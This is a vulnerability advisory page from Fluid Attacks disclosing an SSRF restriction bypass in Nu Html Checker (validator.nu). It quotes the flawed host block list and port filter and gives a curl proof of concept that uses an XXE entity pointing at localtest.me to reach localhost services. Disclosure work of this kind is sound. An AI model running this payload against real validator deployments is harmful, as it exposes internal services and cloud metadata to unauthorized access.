Nu Html Checker (validator.nu) - Restriction bypass vulnerability allowing local SSRF

6.9

Medium

6.9

Medium

Discovered by

Oscar Uribe

Offensive Team, Fluid Attacks

Summary

Full name

Nu Html Checker (validator.nu) - Restriction bypass vulnerability allowing local SSRF via Arbitrary URL Fetching

Code name

State

Public

Release date

Jan 13, 2026

Affected product

The Nu Html Checker (vnu)

Vendor

validator

Affected version(s)

latest

Vulnerability name

Server-side request forgery (SSRF)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N

CVSS v4.0 base score

6.9

Exploit available

Yes

Description

Nu Html Checker (validator.nu) contains a restriction bypass that allows remote attackers to make the server perform arbitrary HTTP/HTTPS requests to internal resources, including localhost services. While the validator implements hostname-based protections to block direct access to localhost and 127.0.0.1, these controls can be bypassed using DNS rebinding techniques with domains that resolve to loopback addresses (e.g., localtest.me → 127.0.0.1).

The vulnerability affects the HTML5 validator service widely used by developers, CI/CD pipelines, and automated testing tools. The bypass allows attackers to access internal services that were intended to be protected by the localhost filtering.

Vulnerability

The vulnerability is exploitable through two attack vectors:

1. Direct SSRF via doc URL parameter

2. SSRF via XML External Entities (when using parser=xmldtd):

  • Leverages the XML DTD validation feature that allows external entities

  • Same DNS rebinding bypass applies: <!ENTITY xxe SYSTEM "http://localtest.me:6379/">

  • Used when the attacker controls the XML/HTML content being validated.

Both attack vectors share the same validator, which implements two security controls that are both insufficient

    private static final List<String> FORBIDDEN_HOSTS = Arrays.asList( //
            "localhost", //
            "127.0.0.1", //
            "0.0.0.0", //
            "[::1]", //
            "[0:0:0:0:0:0:0:1]", //
            "[0000:0000:0000:0000:0000:0000:0000:0001]", //
            "[::]", //
            "[::0]", //
            "[0000:0000:0000:0000:0000:0000:0000:0000]", //
            "[0:0:0:0:0:0:0:0]" //
    );
...           
 if (FORBIDDEN_HOSTS.contains(url.host().toHostString())) {
                throw new IOException( "Forbidden host.");
            }
            if (url.port() != 80 && url.port() != 81 && url.port() != 443
                    && url.port() < 1024) {
                throw new IOException("Forbidden port.");
            }

1. Hostname-based localhost blocking: Blocks strings like localhost and 127.0.0.1, but does not:

  • Resolve DNS before validation

  • Block domains that resolve to private/loopback IP addresses

  • Validate the final resolved IP address after DNS lookup

2. Port filtering: Only allows ports 80, 81, 443, and ports > 1024, but:

  • Most modern services run on high ports (Redis 6379, MySQL 3306, Elasticsearch 9200, etc.)

  • Web applications commonly use ports like 3000, 4200, 5000, 8000, 8080, 8888, 9000

  • Cloud metadata services use port 80 (169.254.169.254:80)

PoC

curl -X POST http://localhost:8888/\?parser\=xmldtd \                                                       
  -H "Content-Type: application/xhtml+xml" \                                         
  --data '<?xml version="1.0"?>
<!DOCTYPE html [<!ENTITY xxe SYSTEM "http://localtest.me:8080/ssrf">]>
<html xmlns="http://www.w3.org/1999/xhtml">
  <head><title>SSRF</title></head>
  <body><p>&xxe;</p></body>
</html>

Evidence of Exploitation

Our security policy

We have reserved the ID CVE-2025-15104 to refer to this issue from now on.

Disclosure policy

System Information

  • The Nu Html Checker (vnu).

  • Version latest

  • Operating System: Any

References

Credits

The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.

Timeline

Dec 18, 2025

Vulnerability discovered

Dec 26, 2025

Vendor contacted

Dec 26, 2025

Vendor replied

Jan 13, 2026

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.